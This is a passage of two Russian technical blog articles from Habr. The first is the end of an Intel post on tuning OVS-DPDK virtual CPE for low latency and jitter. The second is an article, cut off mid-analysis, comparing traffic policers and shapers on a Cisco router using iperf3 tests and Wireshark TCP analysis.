несколько десятков или сотен мегабит в секунду, то есть относительно немного по сравнению с магистральными каналами, пропускная способность которых может достигать и превышать один гигабит в секунду. Поэтому с точки зрения производительности важна не столько максимальная пропускная способность реализации vCPE в филиале, сколько возможность свести к минимуму задержки и колебания (дрожание). Рисунок 1. Пример использования виртуального корпоративного оборудования в локальной среде заказчика (VE-CPE) в филиалах. В большинстве корпоративных сетей, где филиалы подключаются к инфраструктуре глобальной сети, часть трафика будет приходиться на передачу голоса по протоколу IP (VoIP). Для этого трафика характерны более жесткие рамки с точки зрения задержек и дрожания, необходимые для обеспечения предсказуемой и гарантированной производительности. Даже если сетевые функции, связанные с передачей голоса (например, контроллеры границ сеансов — SBC), реализованы с помощью физических устройств, без виртуализации, другие функции в локальной среде закаказчика, передающие трафик конечных пользователей, могут быть виртуальными: очевидным примером являются маршрутизаторы на стороне клиента (CE). Поэтому важно настроить производительность инфраструктуры NFV так, чтобы она обеспечивала такой же уровень предсказуемости для задержек и дрожания. Это позволит получить более четкое представление о влиянии компонентов инфраструктуры NFV на общую картину производительности приложений, чувствительных к задержкам. Во второй части описывается платформа Intel Open Networking Platform (Intel ONP) и пакет Data Plane Development Kit (DPDK) , а в третьей части говорится о тестировании среды vCPE с точки зрения оценки задержек и дрожания. Результаты фактических тестов приведены в четвертой части. Пятая часть содержит выводы, а шестая — рекомендуемые материалы для дальнейшего изучения. II. Open Network Platform и Data Plane Development Kit Способы определения и реализации решений NFV операторами связи для различных сценариев использования, таких как vCPE, зависят от ряда факторов, в том числе от стоимости, технических условий и взаимодействия с решениями других поставщиков. В результате создаются решения для NFV с открытым исходным кодом, например использующие технологию гипервизора виртуальных машин на базе ядра (KVM) с Open vSwitch* (OVS) , и открытые средства управления, такие как OpenStack* . Intel ONP объединяет ряд таких компонентов с открытым исходным кодом и образует модульную архитектурную платформу для NFV 4 . Одним из важнейших компонентов архитектуры Intel ONP (с точки зрения производительности) является пакет DPDK, который можно использовать для повышения производительности VNF на гипервизоре KVM. На рис. 2(a) показана схема обычного Open vSwitch, а на рис. 2(b) — Open vSwitch с DPDK. В стандартной реализации OVS переадресация пакетов между сетевыми адаптерами происходит по пути, находящемуся в пространстве ядра виртуального коммутатора. Он представляет собой простую таблицу потоков, указывающую, что делать с поступающими пакетами. Только первым пакетам потока необходимо заходить в пользовательское пространство виртуального коммутатора (по «медленному пути»), поскольку они не совпадают ни с одной из записей в простой таблице в пути данных ядра. После того как пользовательское пространство OVS обрабатывает первый пакет потока, оно обновляет таблицу в пространстве ядра, и все последующие пакеты уже не попадают в пользовательское пространство. За счет этого снижается как количество записей в таблице потоков пространства ядра, так и количество пакетов, которым необходимо заходить в пользовательское пространство, обработка в котором требует значительных вычислительных ресурсов. Рисунок 2. Схема (a) Open vSwitch* и (b) Data Plane Development Kit vSwitch. В модели Open vSwitch с DPDK (рис. 2(b)) основная плоскость переадресации (иногда ее называют «быстрый путь») находится в пользовательском пространстве OVS и использует DPDK. Одно из основных отличий этой архитектуры состоит в том, что сетевые адаптеры здесь представляют собой драйверы опрашивающего режима (PMD), поскольку входящие пакеты непрерывно опрашиваются, а не управляются асинхронным образом с прерываниями. Начальные пакеты потока отправляются в другой модуль в пользовательском пространстве по тому же пути, по которому идут пакеты в случае с «быстрым путем» ядра. На рис. 3 показаны фактические потоки трафика от OVS к гостевой виртуальной машине (ВМ), которая в контексте этой статьи выполняет функцию виртуального маршрутизатора. В стандартной реализации OVS переадресация OVS завершается в пространстве ядра (рис. 3(a)), а в модели OVS с DPDK переадресация OVS завершается в пользовательском пространстве (рис. 3(b)); очереди virtio гостевых виртуальных машин сопоставляются с OVS DPDK, поэтому OVS может напрямую читать и записывать в них данные. Путь трафика «из пользовательского пространства в пользовательское пространство» обычно обладает более высокой производительностью, чем путь через пространство ядра. Обратите внимание, что в обеих архитектурах гостевая ВМ может представлять собой как DPDK, так и стандартные драйверы Linux*. В тестах, описанных ниже, в сценарии высокой производительности используется VNF с драйверами DPDK. Рисунок 3. Поток трафика: (a) Open vSwitch* и (b) Data Plane Development Kit vSwitch. Теоретически производительность Open vSwitch с DPDK должна быть выше, чем у стандартной модели OVS. Впрочем, важно проверить это на практике с помощью определенных тестов. В следующем разделе описывается тестовая система, а затем — фактически полученные результаты. III. Описание тестовой системы Основные компоненты тестовой системы показаны на рис. 3. Рисунок 4. Тестовые системы базового уровня и высокой производительности (показанные сведения об оборудовании относятся к вычислительным узлам, представляющим тестируемые системы). Для оценки и сравнения влияния высокопроизводительной архитектуры, такой как DPDK, на результаты задержек и дрожания, используются две эталонные тестовые системы. Каждая тестовая система включает один узел контроллера OpenStack и соответствующий вычислительный узел, построенный с помощью системы версии «Kilo». Вычислительный узел и связанные с ним гостевые VNF, запущенные на гипервизоре, представляют тестируемые системы. В тестовой системе базового уровня используется процессор Intel Xeon E5-2680 (архитектура Sandy Bridge) без какой-либо оптимизации настроек BIOS. В высокопроизводительной тестовой системе используется процессор Intel Xeon E5-2697 v3 (архитектура Haswell) и проделана определенная настройка BIOS, направленная на повышение производительности при снижении потребляемой мощности, и отключение C- и P-состояний. В базовой системе используется стандартный путь данных в пространстве ядра, а в высокопроизводительной системе используется путь данных OVS DPDK. В качестве базовой ОС в обоих случаях используется Fedora* 21, но в системе базового уровня используется стандартное ядро не в реальном времени (3.18), а в высокопроизводительной системе используется ядро реального времени Linux (3.14) с соответствующей настройкой конфигурации (изоляция vSwitch и ядер ВМ от ОС основной системы, отключение расширенной безопасности Linux, использование опроса при бездействии и выбор наиболее подходящего таймера отметок времени). В базовой системе используются стандартные настройки OpenStack в отношении установки ВМ и назначения сетевых ресурсов. В высокопроизводительной системе настройка выполнена более точно: можно закреплять выделенные ЦП за vSwitch и VNF. Кроме того, в высокопроизводительной системе гарантируется использование для VNF центральных процессоров и памяти, установленных на одной и той же физической системе, а также использование определенных ЦП для прямого подключения к интерфейсам физических сетевых адаптеров на сервере. В обеих тестовых системах в качестве фактической VNF во всех тестах использовался виртуальный маршрутизатор Brocade 5600* R3.5, а для длительного теста трафика использовалось устройство нагрузочного тестирования Spirent Test Center C1*. В высокопроизводительной системе виртуальный маршрутизатор использует драйверы DPDK. Как показано на рис. 5, были протестированы системы с одиночной VNF и со сдвоенной цепочкой обслуживания VNF. Рисунок 5. Тестируемые системы: (a) одиночный виртуальный маршрутизатор, (b) два виртуальных маршрутизатора в последовательной цепочке обслуживания. Тестовые системы были настроены таким образом, чтобы обеспечить достаточную для работы офисов филиалов пропускную способность (не более 100 Мбит/с) не в ущерб точности измерений задержек и дрожания. Для всех тестов использованы следующие профили пакетов: 64-байтовые кадры (двунаправленная нагрузка 25 Мбит/с) 256-байтовые кадры (двунаправленная нагрузка 25 Мбит/с) Смешение кадров iMix в реалистичном представлении (двунаправленная нагрузка 50 Мбит/с) 1500-байтовые кадры (двунаправленная нагрузка 100 Мбит/с) Тестовое оборудование использует подпись с отметкой времени для определения задержек между кадрами. Подпись находится в конце полезных данных рядом с контрольной последовательностью кадра (FCS), она содержит отметку времени, номера последова-тельности и идентификатор потока. Под «дрожанием» понимается разница во времени между двумя входящими кадрами в одном потоке. Поэтому так измеряется разница в задержках пакетов. Создавались одинаковые нагрузки трафика к тестируемой системе в каждом направлении, состоявшие из одного потока трафика. Результаты, приведенные в следующем разделе, описывают наихудшие метрики для определенного направления (т. е. приведенные значения задержек, дрожания и пр. даны только для однонаправленного трафика, а не для двусторонней передачи). Следует отметить, что показанные результаты относятся к установившейся работе сети: начальные результаты сбрасываются приблизительно через 20 секунд, а затем тест выполняется в течение назначенного времени. Такое решение позволяет получить достоверные результаты, на которые не повлияют первые пакеты потока, идущие по «медленному пути». IV. Результаты тестирования A. Смешанные тесты Средняя задержка одностороннего трафика, измеренная за пятиминутные интервалы для четырех различных профилей пакетов, показана для одиночной VNF на рис. 6 и на сдвоенной VNF на рис. 7. Рисунок 6. Средняя задержка (в микросекундах) для одной сети с виртуализацией (чем меньше, тем лучше). Результаты средних задержек для разных профилей пакетов однозначно свидетельствуют о существенном повышении производительности (снижении средних задержек) в высокопроизво¬дительной системе по сравнению с системой базового уровня. В тестах с одиночной VNF задержки сократились на 38–74 %, а в тестах со сдвоенной VNF задержки снизились на 34–66 %. Как и следовало ожидать, общие задержки в случае со сдвоенной VNF оказались несколько выше в обеих тестовых системах из-за коммутации пакетов между двумя экземплярами VNF и в виртуальных коммутаторах в гипервизоре. Обратите внимание, что в этих тестах зафиксированы нулевые потери пакетов. Рисунок 7. Средняя задержка (в микросекундах) для двух сетей с виртуализацией (чем меньше, тем лучше). B. Тесты 256-байтовых пакетов Имеет смысл подробнее рассмотреть результаты теста с определенным профилем пакетов. Например, тесты с 256-байтовыми макетами точнее воспроизводят кадры VoIP, формируемые протоколом RTP с кодированием G.711 5 . На рис. 8 показаны минимальные, средние и максимальные задержки одностороннего трафика для одиночной и сдвоенной VNF при использовании 256-байтовых пакетов. Рисунок 8. Подробные результаты задержек (в микросекундах) для 256-байтовых пакетов. Рисунок 9. Подробные результаты дрожания (в микросекундах) для 256-байтовых пакетов. На рис. 9 показаны соответствующие средние и максимальные значения дрожания одностороннего трафика. Максимальные значения задержек и дрожания важны для оценки наихудших характеристик производительности обеих тестовых систем. В высокопроизводительной системе максимальные задержки были снижены в 6 раз для одиночной VNF и в 7,4 раз для сдвоенной VNF. Максимальное дрожание сократилось, соответственно, в 24 раза и в 8,5 раз. Обратите внимание, что в этих тестах зафиксированы нулевые потери пакетов. Важно не только оценить производительность за короткие интервалы, но и изучить возможные колебания производительности в течение длительного времени. На рис. 10 показаны результаты тестов максимальных задержек в тестах длительностью 5 минут в сравнении с тестами длительностью 16 часов для 256-байтовых пакетов и одиночной VNF. В целом, результаты свидетельствуют о приблизительно одинаковом повышении производительности в оптимизированной системе по сравнению с системой базового уровня: максимальные задержки снизились в 5 раз для 16-часового теста и в 6 раз для 5-минутного теста. При этом важно отметить, что значения максимальных задержек значительно выше в 16-часовых тестах. Это можно объяснить очень редкими событиями системного прерывания (т. е. задачами обслуживания), которые влияют на очень небольшое количество тестовых пакетов. Несмотря на это, значение максимальных задержек для одностороннего трафика в 16-часовых тестах с 256-байтовыми пакетами составило всего 2 мс. Это вполне пригодный результат, пороговым значением задержек для односторонней передачи голосового трафика является 150 мс согласно спецификациям МСЭ-Т G.114 6 . Другими словами, увеличение задержек, обусловленное добавлением vCPT, в наихудшем случае составляет всего 1,3 % от общей величины допустимых задержек. Даже в системе базового уровня максимальные задержки одностороннего трафика составили 9,95 мс, что составляет всего 6,6 % от общей допустимой величины. Рисунок 10. Результаты длительных тестов задержек в миллисекундах (сравнение 16-часовых и 5-минутных тестов). V. Заключение и выводы В этой статье описана тонкая настройка виртуальной платформы инфраструктуры CPE на базе гипервизора KVM. В частности, использование некоторых компонентов архитектуры Intel ONP, таких как DPDK, может способствовать существенному повышению производительности по сравнению с базовой настройкой (без оптимизации). В тестах с одиночной VNF задержки одностороннего трафика сократились на 38–74 %, а в тестах со сдвоенной VNF задержки снизились на 34–66 %. В тестах, близких к трафику VoIP, где использовались 256-байтовые пакеты, максимальные задержки сократились в 6 раз (для одиночной VNF) и в 7,4 раз (для сдвоенной VNF), а максимальное дрожание, соответственно, в 24 раза и в 8,5 раз. Опираясь на результаты экспериментов, можно заключить, что настройка производительности инфраструктуры NFV для чувствительных к задержкам приложений, таким как VoIP, позволит получить более определенные показатели общей производительности с точки зрения задержек и дрожания по сравнению с базовой конфигурацией (без оптимизации). Решение о применении оптимизации оператором сети будет в значительной степени зависеть от требуемого набора функций VNF, поддерживаемых инфраструктурой vCPE, а также от того, насколько метрики производительности, заданные в соглашении об уровне обслуживания (например, уровни задержек и дрожания), связаны со службами, опирающимися на эти функции VNF. На практике фактические соглашения об уровне обслуживания, используемые сетевыми операторами, будут содержать целевые показатели производительности в рамках собственной магистральной и транзитной сети оператора и будут различаться в зависимости от регионов. Значения времени двусторонней передачи IP-пакетов в 30–40 мс для Европы, 40–50 мс для Северной Америки и до 90 мс для трансатлантических каналов являются типичными примерами и эталонами средних задержек. Если операторы сетей решат использовать оптимизацию NFV с помощью таких компонентов, как DPDK, вместо готовых решений с заводскими настройками, им следует оценить потенциальное влияние оптимизации на решения высокоуровневого управления: потребуется более четкое понимание параметров и настроек базовой инфраструктуры, чтобы обеспечить подготовку и управление функциями VNF согласно заданным требованиям производительности. Эксперименты, описываемые в этой статье, можно рассматривать в качестве основы для более подробного понимания способов оптимизации производительности, возможности их применения к существующим сетям и к перспективным инфраструктурам 5G. VI. Задачи на будущее Возможные темы для дальнейшего изучения включают следующие: Изучение «уровней оптимизации» и влияние каждого из них на общую оптимизацию: выбор оборудования (в частности, влияние процессоров Intel Xeon E5-2680 и Intel Xeon E5-2697 v3 на различия в длительности задержек), настройки BIOS (например, можно включить P-состояние, чтобы разрешить использовать технологию Intel SpeedStep для повышения эффективности нагрузки на мощность), настройки ядра реального времени (например, «no hertz kernel», опрос операций чтения, копирования и обновления), настройки гипервизора и настройки VNF — все это определяет характеристики архитектуры. Поэтому следует получить более четкое представление о возможных мерах оптимизации и об их влиянии на каждый уровень. Следует рассмотреть возможность проведения аналогичных тестов оценки производительности для более широкого набора разных типов VNF, в том числе и специализированных для VoIP. Можно усовершенствовать аналитику тестов, чтобы оценить распределение значений задержек пакетов и дрожания в зависимости от профилей и частоты. Дальнейший анализ оптимизации NFV с точки зрения высокоуровневого управления: если модуль управления будет «знать» о базовых ресурсах и способности использовать определенные настройки инфраструктуры NFV с помощью таких возможностей, как DPDK, решение управления станет более сложным, но зато можно будет настраивать распределение чувствительных к задержкам VNF на наиболее подходящей инфраструктуре NFV. Очевидно, что в этой области существует еще немало интересных задач и проблем, требующих рассмотрения. Справочные материалы Дж. Стрэдлинг. «Глобальное обновление WAN: ведущие игроки и основные тенденции», отчет с рекомендациями по итогам текущего анализа, сентябрь 2015 г. «Производительность виртуализации сетевых функций и лучшие методики переносимости», спецификация ETSI ISG GS NFV-PER001, V1.1.1. Июнь 2014 г. «Примеры использования виртуализации сетевых функций», спецификация ETSI ISG GS NFV001, V1.1.1. Октябрь 2013 г. «Intel Open Network Platform Server (версия 1.5)», заметки к выпуску, ноябрь 2015 г. «Измерение производительности NFV для vCPE», отчет о тестировании сетей, Overture Networks, май 2015 г. «Спецификация МСЭ-Т G114 — время односторонней передачи», май 2003 г.
https://habrahabr.ru/company/intel/blog/317372/
habrahabr
Ограничение скорости передачи трафика. Policer или shaper, что использовать в сети?
['policer', 'shaper', 'TCP', 'TCP Reno', 'TCP slow-start', 'congestion avoidence', 'Compound TCP', 'token bucket']
Когда речь заходит об ограничении пропускной способности на сетевом оборудовании, в первую очередь в голову приходят две технологи: policer и shaper. Policer ограничивает скорость за счёт...
Когда речь заходит об ограничении пропускной способности на сетевом оборудовании, в первую очередь в голову приходят две технологи: policer и shaper. Policer ограничивает скорость за счёт отбрасывания «лишних» пакетов, которые приводят к превышению заданной скорости. Shaper пытается сгладить скорость до нужного значения путём буферизации пакетов. Данную статью я решил написать после прочтения заметки в блоге Ивана Пепельняка (Ivan Pepelnjak). В ней в очередной раз поднимался вопрос: что лучше – policer или shaper. И как часто бывает с такими вопросами, ответ на него: всё зависит от ситуации, так как у каждой из технологий есть свои плюсы и минусы. Я решил разобраться с этим чуточку подробнее, путём проведения нехитрых экспериментов. Полученные результаты подкатом. И так, начнём с общей картинки разницы между policer и shaper. Как видно, policer срезает все пики, shaper же делает сглаживание нашего трафика. Достаточно неплохое сравнение между policer и shaper можно найти здесь . Обе технологии в своей основе используют механизм токенов (token). В этом механизме присутвует виртуальное ограниченное по размеру ведро (token bucket), в которое с некой регулярностью поступают токены. Токен, как проездной, расходуется для передачи пакетов. Если токенов в ведре нет, то пакет отбрасывается (могут выполняться и другие действия). Таким образом, мы получаем постоянную скорость передачи трафика, так как токены поступают в ведро в соответствии с заданной скоростью. Может стоило сделать проще? Скорость сессии обычно меряется в отведённый промежуток времени, например, за 5 сек или 5 минут. Брать мгновенное значение бессмысленно, так как данные всегда передаются на скорости канала. При этом если мы будем делать усреднение за разные временные интервалы, мы получим разные графики скорости передачи данных, так как трафик в сети не равномерный. Я думаю, любой с этим сталкивался, строя графики в системе мониторинга. Механизм токенов позволяет обеспечить гибкость в настройке ограничения скорости. Размер ведра влияет на то, как мы будем усреднять нашу скорость. Если ведро большое (т.е. токенов там может скопиться много), мы позволим трафику сильнее «выпрыгивать» за отведенные ограничения в определённые моменты времени (эквивалент усреднения на большем промежутке времени). Если размер ведра маленький, то трафик будет более равномерный, крайне редко превышая заданный порог (эквивалент усреднения на маленьком промежутке времени). В случае policer’а наполнение ведра происходит каждый раз, когда приходит новый пакет. Количество токенов, которые загружаются в ведро, зависит от заданной скорости policer’а и времени, прошедшего с момента поступления последнего пакета. Если токенов в ведре нет, policer может отбросить пакеты или, например, перемаркировать их (назначить новые значения DSCP или IPP). В случае shaper’а наполнение ведра происходит через равные промежутки времени независимо от прихода пакетов. Если токенов не хватает, пакеты попадают в специальную очередь, где ждут появления токенов. За счёт этого имеем сглаживание. Но если пакетов приходит слишком много, очередь shaper’а в конечном счёте переполняется и пакеты начинают отбрасываться. Стоит отметить, что приведённое описание является упрощённым, так как и policer и shaper имеют вариации (детальный разбор данных технологий займёт объём отдельной статьи). Эксперимент А как это выглядит на практике? Для этого соберём тестовый стенд и проведём следующий эксперимент . Наш стенд будет включать устройство, которое поддерживает технологии policer и shaper (в моём случае – это Cisco ISR 4000; подойдёт устройство любого вендора аппаратное или программное, которое поддерживает данные технологии), генератор трафика iPerf и анализатор трафика Wireshark . Сначала посмотрим на работу policer. Настроим ограничение скорости равным 20 Мбит/с. Конфигурация устройства policy-map Policer_20 class class-default police 20000000 interface GigabitEthernet0/0/1 service-policy output Policer_20 Используем автоматически выставляемое значение размера ведра токенов (token bucket). Для нашей скорости – это 625 000 байт. В iPerf запускаем генерацию трафика в рамках четырёх потоков, используя протокол TCP. C:\Users\user>iperf3.exe -c 192.168.115.2 -t 20 -i 20 -P 4 Connecting to host 192.168.115.2, port 5201 [ 4] local 192.168.20.8 port 55542 connected to 192.168.115.2 port 5201 [ 6] local 192.168.20.8 port 55543 connected to 192.168.115.2 port 5201 [ 8] local 192.168.20.8 port 55544 connected to 192.168.115.2 port 5201 [ 10] local 192.168.20.8 port 55545 connected to 192.168.115.2 port 5201 [ ID] Interval Transfer Bandwidth [ 4] 0.00-20.01 sec 10.2 MBytes 4.28 Mbits/sec [ 6] 0.00-20.01 sec 10.6 MBytes 4.44 Mbits/sec [ 8] 0.00-20.01 sec 8.98 MBytes 3.77 Mbits/sec [ 10] 0.00-20.01 sec 11.1 MBytes 4.64 Mbits/sec [SUM] 0.00-20.01 sec 40.9 MBytes 17.1 Mbits/sec Средняя скорость составила 17.1 Мбит/с. Каждая сессия получила разную пропускную способность. Обусловлено это тем, что настроенный в нашем случае policer не различает потоки и отбрасывает любые пакеты, которые превышают заданное значение скорости. С помощью Wireshark собираем дамп трафика и строим график передачи данных, полученный на стороне отправителя. Чёрная линия показывают суммарный трафик. Разноцветные линии – трафик каждого потока TCP. Прежде чем делать какие-то выводы и углубляться в вопрос, давайте посмотрим, что у нас получится, если policer заменить на shaper. Настроим shaper на ограничение скорости 20 Мбит/с. Конфигурация устройства policy-map Shaper_20 class class-default shape average 20000000 queue-limit 200 packets interface GigabitEthernet0/0/1 service-policy output Shaper_20 При настройке используем автоматическое выставляемое значение размера ведра токенов BC и BE равное 8000. Но меняем размер очереди с 83 (по умолчанию в версии IOS XE 15.6(1)S2) на 200. Сделано это сознательно, чтобы получить более чёткую картину, характерную для shaper’а. На этом вопросе мы остановимся более подробно в подкате «Влияет ли глубина очереди на нашу сессию?». cbs-rtr-4000#sh policy-map interface gigabitEthernet 0/0/1 Service-policy output: Shaper_20 Class-map: class-default (match-all) 34525 packets, 50387212 bytes 5 minute offered rate 1103000 bps, drop rate 0000 bps Match: any Queueing queue limit 200 packets (queue depth/total drops/no-buffer drops) 0/0/0 (pkts output/bytes output) 34525/50387212 shape (average) cir 20000000, bc 80000, be 80000 target shape rate 20000000 В iPerf запускаем генерацию трафика в рамках четырёх потоков, используя протокол TCP. C:\Users\user>iperf3.exe -c 192.168.115.2 -t 20 -i 20 -P 4 Connecting to host 192.168.115.2, port 5201 [ 4] local 192.168.20.8 port 62104 connected to 192.168.115.2 port 5201 [ 6] local 192.168.20.8 port 62105 connected to 192.168.115.2 port 5201 [ 8] local 192.168.20.8 port 62106 connected to 192.168.115.2 port 5201 [ 10] local 192.168.20.8 port 62107 connected to 192.168.115.2 port 5201 [ ID] Interval Transfer Bandwidth [ 4] 0.00-20.00 sec 11.6 MBytes 4.85 Mbits/sec [ 6] 0.00-20.00 sec 11.5 MBytes 4.83 Mbits/sec [ 8] 0.00-20.00 sec 11.5 MBytes 4.83 Mbits/sec [ 10] 0.00-20.00 sec 11.5 MBytes 4.83 Mbits/sec [SUM] 0.00-20.00 sec 46.1 MBytes 19.3 Mbits/sec Средняя скорость составила 19.3 Мбит/с. При этом каждый поток TCP получил примерно одинаковую пропускную способность. С помощью Wireshark собираем дамп трафика и строим график передачи данных, полученный на стороне отправителя. Чёрная линия показывают суммарный трафик. Разноцветные линии – трафик каждого потока TCP. Сделаем первые промежуточные выводы: В случае policer полезная пропускная способность составила 17.1 Мбит/с. Каждый поток в разные моменты времени имел разную пропускную способность. В случае shaper полезная пропускная способность составила 19.3 Мбит/с. Все потоки имели примерно одинаковую пропускную способность. Посмотрим более детально на поведение TCP сессии в случае работы policer и shaper. Благо, в Wireshark достаточно инструментов, чтобы сделать такой анализ. Начнём c графиков, на которых отображаются пакеты с привязкой ко времени их передачи. Первый график – policer’а, второй – shaper’а. Из графиков видно, что пакеты в случае shaper передаются более равномерно по времени. При этом в случае policer видны скачкообразные разгоны сессии и периоды пауз. Анализ TCP сессии при работе policer Посмотрим поближе на сессию TCP. Будем рассматривать случай policer’а. Протокол TCP в своей работе опирается на достаточно большой набор алгоритмов. Среди них для нас наиболее интересными являются алгоритмы, отвечающие за управление перегрузками (congestion control). Именно они отвечают за скорость передачи данных в рамках сессии. ПК, на котором запускался iPerf, работает под управлением Windows 10. В Windows 10 в качестве такого алгоритма используется Compound TCP (CTCP). CTCP в своей работе позаимствовал достаточно многое из алгоритма TCP Reno . Поэтому при анализе TCP сессии достаточно удобно посматривать на картинку с состояниями сессии при работе алгоритма TCP Reno. На следующей картинке представлен начальный сегмент передачи данных. На первом этапе у нас устанавливается TCP сессия (происходит тройное рукопожатие). Далее начинается разгон TCP сессии. Работает алгоритм TCP slow-start . По умолчанию значение окна перегрузки (congestion window — cwnd) для TCP-сессии в Windows 10 равно объёму десяти максимальных сегментов данных TCP сессии (MSS). Это означает, что данный ПК может отправить сразу 10 пакетов, не дожидаясь получения подтверждения на них в виде ACK. В качестве начального значения порога прекращения работы алгоритма slow-start (ssthresh) и перехода в режим избегания перегрузки (congestion avoidence) берётся значение максимального окна, которое предоставил получатель (advertised window — awnd). В нашем случае ssthresh=awnd=64K. Awnd – максимальное значение данных, которые получатель готов принять себе в буфер. Где посмотреть начальные данные сессии? Чтобы посмотреть параметры TCP, можно воспользоваться PowerShell. Смотрим, какой глобальный шаблон TCP используется в нашей системе по умолчанию. Далее выполняем запрос «Get-NetTCPSetting Internet» и ищем значение величины InitialCongestionWindow(MSS). Значение awnd можно найти в пакетах ACK, пришедших от получателя: В режиме TCP slow-start размер окна (cwnd) увеличивается каждый раз при получении ACK. При этом оно не может превысить значение awnd. За счёт такого поведения, мы имеем практически экспоненциальный рост количества передаваемых пакетов. Наша TCP сессия разгоняется достаточно агрессивно. Передача пакетов в режиме TCP slow-start ПК устанавливает TCP-соединение (№1-3). Отправляет 10 пакетов (№4-13), не дожидаясь подтверждения (ACK), так как cwnd=10*MSS. Получает ACK (№14), который подтверждает сразу два пакета (№4-5). Увеличивает размер окна Cwnd=(10+2)*MSS=12*MSS. Отправляет дополнительно три пакета (№15-17). По идее ПК должен был отправить четыре пакета: два, так как он получил подтверждение на два пакета, которые были переданы ранее; плюс два пакета из-за увеличения окна. Но в реальности на самом первом этапе система шлёт (2N-1) пакетов. Найти ответ на этот вопрос мне не удалось. Если кто-то подскажет, буду благодарен. Получает два ACK (№18-19). Первое ACK подтверждает получение удалённой стороной четырёх пакетов (№6-9). Второе — трёх (№10-12). Увеличивает размер окна Cwnd=(12+7)*MSS=19*MSS. Отправляет 14 пакетов (№20-33): семь новых пакетов, так как получили ACK на семь ранее переданных пакетов, и ещё семь новых пакетов, так как увеличилось окно. И так далее. Policer никак не препятствует разгону сессии. Токенов в ведре много (при инициализации policer’а ведро заполнено токенами полностью). Для скорости 20 Мбит/с размер ведра по умолчанию выставляется равным 625000 байт. Таким образом, сессия разгоняется в момент времени практически до 18 Мбит/с (а мы помним, что у нас таких сессий четыре). Размер окна cwnd достигает максимального значения и становится равным awnd, а значит, cwnd = ssthersh. cwnd = ssthersh Когда cwnd = ssthersh точного ответа, произойдёт ли смена алгоритма с slow-start на алгоритм congestion avoidance, я найти не смог. RFC точного ответа не даёт. С практической точки зрения это не очень важно, так как размер окна дальше расти не может. Так как наша сессия разогналась достаточно сильно, токены очень быстро тратятся и в конечном итоге заканчиваются. Ведро не успевает наполнятся (наполнение токенами идёт для скорости 20 Мбит/с, при этом суммарная утилизация всеми четырьмя сессиями в моменте времени приближается к 80 Мбит/с). Policer начинает отбрасывать пакеты. А значит, до удалённой стороны они не доходят. Получатель шлёт Duplicate ACK (Dup ACK), которые сигнализируют отправителю, что произошла потеря пакетов и нужно передать их заново. После получения трёх Dup ACK наша TCP сессия переходит в фазу восстановления после потери (loss recovery, включающую алгоритмы Fast Retransmit/Fast Recovery). Отправитель устанавливает новое значение ssthresh = cwnd/2 (32K) и делает окно cwnd = ssthresh+3*MSS. Отправитель пытается сразу же начать заново передать потерянные пакеты (работает алгоритм TCP Fast Retransmission). При этом продолжают приходить Dup ACK, назначение которых — искусственно увеличить окно cwnd. Это нужно, чтобы как можно быстрее восстановить скорость сессии из-за потери пакетов. За счёт Dup ACK окно cwnd вырастает до максимального значения (awnd). Как только было отправлено количество пакетов, укладывающихся в окно cwnd, система останавливается. Для продолжения передачи данных ей нужны новые ACK (не Dup ACK). Но ACK не приходят. Все повторные пакеты отбрасываются policer’ом, так в ведре закончились токены, а времени, чтобы их восполнить, прошло слишком мало. В таком состоянии система ждёт, пока не сработает таймаут на получение нового ACK от удалённой стороны (Retransmission timeout — RTO ). С этим как раз и связаны наши большие паузы, которые видны на графиках. После срабатывания таймера RTO система переходит в режим slow-start и устанавливает ssthresh = FlightSize/2 (где FlightSize – количество не подтверждённых данных), а окно cwnd = 1*MSS. Далее снова делается попытка передать потерянные пакеты. Правда, теперь отправляется всего один пакет, так как cwnd = 1*MSS. Так как в течение некоторого времени система ничего не передавала, в нашем ведре успели накопиться токены. Поэтому в конечном итоге пакет доходит до получателя. А значит, мы получим новое ACK. С этого момента система начинает передать потерянные ранее пакеты в режиме slow-start. Происходит разгон сессии. Как только размер окна cwnd превышает значение ssthresh, сессия переходит в режим congestion avoidance. В алгоритме Compound TCP для регулирования скорости передачи используется окно отправителя (sending window — wnd), которое зависит от двух взвешенных величин: окна перегрузки (cwnd) и окна задержки (delay window — dwnd). Cwnd, как и раньше, зависит от полученных ACK, dwnd зависит от величины задержки RTT (round trip time). Окно wnd растёт только один раз за период времени RTT. Как мы помним, в случае slow-start окно cwnd росло при получении каждого ACK. Поэтому в режиме congestion avoidance сессия разгоняется не так быстро. Как только сессия разгоняется достаточно сильно (когда пакетов передаётся больше, чем есть токенов в ведре), опять срабатывает policer. Начинают отбрасываться пакеты. Далее следует фаза loss recovery. Т.е. весь процесс повторяется заново. И так продолжается, пока у нас не завершится передача всех данных. TCP сессия при работе policer выглядит как лестница (идёт фаза передачи, за которой следует пауза). Анализ TCP сессии при работе shaper Теперь давайте посмотрим поближе на сегмент передачи данных для случая shaper. Для наглядности возьмём аналогичный масштаб, как и для графика policer на Рис.6. Из графика мы видим всё ту же лесенку. Но размер ступенек стал существенно меньше. Однако если приглядеться к графику на Рис. 10, мы не увидим небольших «волн» на конце каждой ступеньки, как это было на Рис. 9. Такие «волны» были следствием потери пакетов и попыток их передачи заново. Рассмотрим начальный сегмент передачи данных для случая shaper. Происходит установление сессии. Далее начинается разгон в режиме TCP slow-start. Но этот разгон более пологий и имеет ярко выраженные паузы, которые увеличиваются в размере. Более пологий разгон обусловлен тем, что размер ведра по умолчанию для shaper всего (BC+BE) = 20 000 байт. В то время как для policer размер ведра — 625 000 байт. Поэтому shaper срабатывает существенно раньше. Пакеты начинают попадать в очередь. Растёт задержка от отправителя к получателю, и ACK приходят позже, чем это было в случае policer. Окно растёт существенно медленнее. Получается, что чем больше система передаёт пакетов, тем больше их накапливается в очереди, а значит, тем больше задержка в получении ACK. Имеем процесс саморегуляции. Через некоторое время окно cwnd достигает значения awnd. Но к этому моменту у нас накапливается достаточно ощутимая задержка из-за наличия очереди. В конечном итоге при достижении определённого значения RTT наступает равновесное состояние, когда скорость сессии больше не меняется и достигает максимального значения для данного RTT. В моём примере среднее RTT равно 107 мс, awnd=64512 байт, следовательно, максимальная скорость сессии будет соответствовать awnd/RTT= 4.82 Мбит/с. Примерно такое значение нам и выдал iPerf при измерениях. Но откуда берутся ярко выраженные паузы в передаче? Давайте посмотрим на график передачи пакетов через устройство с shaper в случае, если у нас всего одна TCP сессия (Рис.12). Напомню, что в нашем эксперименте передача данных происходит в рамках четырёх TCP сессий. На этом графике очень хорошо видно, что нет никаких пауз. Из этого можно сделать вывод, что паузы на Рис.10 и 11 обусловлены тем, что у нас одновременно передаётся четыре потока, а очередь в shaper одна (тип очереди FIFO). На Рис.13 представлено расположение пакетов разных сессий в очереди FIFO. 